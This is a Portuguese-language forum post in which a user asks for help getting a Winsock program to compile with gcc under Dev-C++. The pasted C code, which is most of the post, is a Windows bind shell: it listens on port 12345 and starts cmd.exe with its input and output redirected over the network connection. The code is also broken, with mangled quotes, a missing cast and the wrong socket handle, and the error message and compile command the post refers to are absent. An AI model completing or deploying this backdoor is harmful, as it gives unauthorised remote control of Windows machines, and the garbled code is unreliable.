Saudações,
já estou até meio desesperado pq não consigo resolver este problema e já há uns 3 dias !!!
O negócio é o seguinte…
Tô estudando Win Sockets. Só que para o que eu toh precisando fazer eu preciso usar a função WSASocketA para criar o socket(ao inves da socket() ) e é ae que tá !!! não compila nem com reza braba!!
sempre dá o erro:
Mesmo eu colocando o -lws2_32 no comando do compilador (gcc q vem com o dev-cpp).
Toda a internet fala q essa função esta nessa lib !! mas eu adiciono ela e não resolve!! continua aparecendo o problema !!!
segue o comando de compilação q toh gerando:
e não importa onde eu coloque os -lws2_32 -lwsock32 naõ resolve nada !!!
segue o código q toh gerando…
[code]#include <stdio.h>
#include <winsock.h>
#include <windows.h>
#include <winsock2.h>
#include <unistd.h>
#include <stdlib.h>
int main(){
WSADATA wsaData;
WSAStartup(MAKEWORD(1, 1), &wsaData);
int new, sockfd;
struct sockaddr_in sin;
sockfd = WSASocketW(AF_INET, SOCK_STREAM, 0, 0, 0, 0);
printf("() Configurando Conexão …\n");
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = 0;
sin.sin_port = htons(12345);
printf("() Abrindo Porta …\n");
bind(sockfd, (struct sockaddr )&sin, sizeof(sin));
listen(sockfd, 5);
printf("() Aguardando Conexão…\n");
new = accept(sockfd, NULL, 0);
printf("() Conexão Estabelecida… \n");
int i;
printf("() Duplicando File Descriptors… \n");
STARTUPINFO novo;
PROCESS_INFORMATION proc;
ZeroMemory(&novo, sizeof(novo));
ZeroMemory(&proc, sizeof(proc));
novo.cb = sizeof(novo);
novo.hStdInput = novo.hStdOutput = novo.hStdError = sockfd;
novo.dwFlags = STARTF_USESTDHANDLES;
printf("() Executando Shell. \n");
if (!CreateProcess(“C:\windows\system32\cmd.exe”, “C:\windows\system32\cmd.exe”, NULL, NULL, TRUE ,/ NORMAL_PRIORITY_CLASS/0 , NULL, NULL, &novo, &proc))
printf(“ERRO\n”);;
printf("FIM*****\n");
return 0;
}
[/code]
SE alguem souber ae !!??